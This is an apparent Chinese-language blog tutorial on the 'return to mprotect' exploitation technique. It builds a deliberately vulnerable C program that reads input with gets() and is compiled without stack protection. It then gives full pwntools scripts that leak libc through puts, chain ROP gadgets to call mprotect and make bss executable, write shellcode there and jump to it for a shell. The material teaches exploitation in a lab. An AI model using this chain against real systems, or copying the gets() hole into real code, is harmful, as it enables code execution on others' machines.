一步一步分析return to mprotect

一步一步分析return to mprotect的利用

看到网上很少专门写这个漏洞利用方式的文章,就想参考自己之前的学习记录来写一篇记录.
原创:https://xz.aliyun.com/t/7233

原理:

  • mprotect()函数: 用来修改一段指定内存区域的保护属性.

  • 函数原型如下:

    
    
    1
    2
    3
    4
    int mprotect(const void *start, size_t len, int prot);
    - void* tart: 区段开始位置
    - size_t len: 区段的大小
    - int prot:区段的权限(可以用8进制来表示)
  • 我们可以通过mprotect()函数来修改区段的权限(例如bss),使其权限变为(rwx),然后将shellcode写进去并跳转过去.


利用场景:

  • 当一些函数被禁用时(例如system)
  • 需要修改某一些区域的权限以达到自己想做的操作

准备工作:

  • 写一个c来测试一下,为了方便测试,就关闭了canary保护.

    
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    #include <stdio.h>
    #include <stdlib.h>

    void vuln(){
      char s[0x20];
      puts("Input:");
      gets(&s);
    }

    int main(void){
      vuln();
      exit(0);
    }
  • 编译:

    
    
    1
    gcc -fno-stack-protector test.c -o vuln

实验步骤:

  1. 泄漏内存地址,通过计算得到libc地址
  2. 通过mprotect函数来修改一段区域的权限
  3. 向这段区域写入shellcode
  4. 跳转到写入shellcode的区域

Start:

  • 检查保护:

    
    
    1
    2
    3
    4
    5
    6
    [*] '/mnt/hgfs/Ubuntu/mycode/demo/vuln'
      Arch:     amd64-64-little
      RELRO:    Partial RELRO
      Stack:    No canary found
      NX:       NX enabled
      PIE:      No PIE (0x400000)
  • 0x01 : 泄漏内存地址,通过计算得到libc地址

    
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    from pwn import *
    r = process('./vuln')
    elf = ELF('./vuln')
    rop = ROP('./vuln')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    context.binary = './vuln'

    context.log_level = 'debug'
    context.terminal = ['tmux','splitw','-h']

    pop_rdi_ret = 0x0000000000400663
    vuln_addr = 0x00000000004005B6

    #########  step1 : leak_libc
    payload = cyclic(40)
    payload+= p64(pop_rdi_ret)
    payload+= p64(elf.got['puts'])
    payload+= p64(elf.plt['puts'])
    payload+= p64(vuln_addr)
    r.recvuntil("Input:")
    r.sendline(payload)
    r.recvline()
    leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00'))
    libc.address = leak_addr - libc.sym['puts']
    success("libc_base = 0x%x",libc.address)

    r.interactive()

    运行结果:

    image-20200216164735052

  • 0x02:通过mprotect函数来修改bss的权限为rwx:

    
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    from pwn import *
    r = process('./vuln')
    elf = ELF('./vuln')
    rop = ROP('./vuln')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    context.binary = './vuln'

    context.log_level = 'debug'
    context.terminal = ['tmux','splitw','-h']

    pop_rdi_ret = 0x0000000000400663
    main_addr = 0x00000000004005DC
    bss_start_addr = 0x00601000

    #########  step1 : leak_libc
    payload = cyclic(40)
    payload+= p64(pop_rdi_ret)
    payload+= p64(elf.got['puts'])
    payload+= p64(elf.plt['puts'])
    payload+= p64(main_addr)
    r.recvuntil("Input:")
    r.sendline(payload)
    r.recvline()
    leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00'))
    libc.address = leak_addr - libc.sym['puts']
    success("libc_base = 0x%x",libc.address)
    # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
    pop_rsi_ret = libc.address + 0x00000000000202e8
    # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ; ret"
    pop_rdx_ret = libc.address + 0x0000000000001b92

    #########  step2 : mprotect_bss_to_rwx
    payload = cyclic(40)
    payload+= p64(pop_rdi_ret)
    payload+= p64(bss_start_addr)
    payload+= p64(pop_rsi_ret)
    payload+= p64(0x1000)
    payload+= p64(pop_rdx_ret)
    payload+= p64(0x7)
    payload+= p64(libc.sym['mprotect'])
    payload+= p64(main_addr)

    r.recvuntil("Input:")
    gdb.attach(r)
    r.sendline(payload)

    r.interactive()

    查看bss段(修改前):

    image-20200216205641623

    函数参数:

    image-20200216205925256

    修改后的bss:

    image-20200216210201631

  • 0x03 向bss段中写入shellcode:

    
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    from pwn import *
    import time
    r = process('./vuln')
    elf = ELF('./vuln')
    rop = ROP('./vuln')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    context.binary = './vuln'

    context.log_level = 'debug'
    context.terminal = ['tmux','splitw','-h']

    pop_rdi_ret = 0x0000000000400663
    main_addr = 0x00000000004005DC
    bss_start_addr = 0x00601000
    shellcode_addr = 0x00602000-0x100

    #########  step1 : leak_libc
    payload = cyclic(40)
    payload+= p64(pop_rdi_ret)
    payload+= p64(elf.got['puts'])
    payload+= p64(elf.plt['puts'])
    payload+= p64(main_addr)
    r.recvuntil("Input:")
    r.sendline(payload)
    r.recvline()
    leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00'))
    libc.address = leak_addr - libc.sym['puts']
    success("libc_base = 0x%x",libc.address)
    # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
    pop_rsi_ret = libc.address + 0x00000000000202e8
    # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ; ret"
    pop_rdx_ret = libc.address + 0x0000000000001b92

    #########  step2 : mprotect_bss_to_rwx
    payload = cyclic(40)
    payload+= p64(pop_rdi_ret)
    payload+= p64(bss_start_addr)
    payload+= p64(pop_rsi_ret)
    payload+= p64(0x1000)
    payload+= p64(pop_rdx_ret)
    payload+= p64(0x7)
    payload+= p64(libc.sym['mprotect'])
    payload+= p64(main_addr)

    r.recvuntil("Input:")
    r.sendline(payload)

    #########  step3 : gets_shellcode_to_bss
    payload = cyclic(40)
    payload+= p64(pop_rdi_ret)
    payload+= p64(shellcode_addr)
    payload+= p64(libc.sym['gets'])
    payload+= p64(main_addr)

    r.recvuntil("Input:")
    r.sendline(payload)
    time.sleep(1)
    gdb.attach(r)
    r.sendline(asm(shellcraft.sh())) # context.binary = './vuln'

    r.interactive()
    这里需要注意 asm(shellcraft.sh())默认生成的是32位的shellcode 需要自己添加64位支持,本文中的方法为添加:

    1
    context.binary = &#039;./vuln&#039;

    可以看到此时shellcode已经写入我们构造的bss段

    image-20200216211100555

  • 0x04:getshell

    跳转到bss段即可,

    完整的exp如下:

    
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    from pwn import *
    import time
    r = process('./vuln')
    elf = ELF('./vuln')
    rop = ROP('./vuln')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    context.binary = './vuln'

    context.log_level = 'debug'
    context.terminal = ['tmux','splitw','-h']

    pop_rdi_ret = 0x0000000000400663
    main_addr = 0x00000000004005DC
    bss_start_addr = 0x00601000
    shellcode_addr = 0x00602000-0x100

    #########  step1 : leak_libc
    payload = cyclic(40)
    payload+= p64(pop_rdi_ret)
    payload+= p64(elf.got['puts'])
    payload+= p64(elf.plt['puts'])
    payload+= p64(main_addr)
    r.recvuntil("Input:")
    r.sendline(payload)
    r.recvline()
    leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00'))
    libc.address = leak_addr - libc.sym['puts']
    success("libc_base = 0x%x",libc.address)
    # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
    pop_rsi_ret = libc.address + 0x00000000000202e8
    # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ; ret"
    pop_rdx_ret = libc.address + 0x0000000000001b92

    #########  step2 : mprotect_bss_to_rwx
    payload = cyclic(40)
    payload+= p64(pop_rdi_ret)
    payload+= p64(bss_start_addr)
    payload+= p64(pop_rsi_ret)
    payload+= p64(0x1000)
    payload+= p64(pop_rdx_ret)
    payload+= p64(0x7)
    payload+= p64(libc.sym['mprotect'])
    payload+= p64(main_addr)

    r.recvuntil("Input:")
    r.sendline(payload)

    #########  step3 : gets_shellcode_to_bss
    payload = cyclic(40)
    payload+= p64(pop_rdi_ret)
    payload+= p64(shellcode_addr)
    payload+= p64(libc.sym['gets'])
    payload+= p64(main_addr)

    r.recvuntil("Input:")
    r.sendline(payload)
    time.sleep(1)
    # gdb.attach(r)
    r.sendline(asm(shellcraft.sh())) # context.binary = './vuln'

    #########  step4 : ret2bss
    payload = cyclic(40)
    payload+= p64(shellcode_addr)
    r.recvuntil("Input:")
    r.sendline(payload)

    r.interactive()

    image-20200216212507134

发表评论

电子邮件地址不会被公开。 必填项已用*标注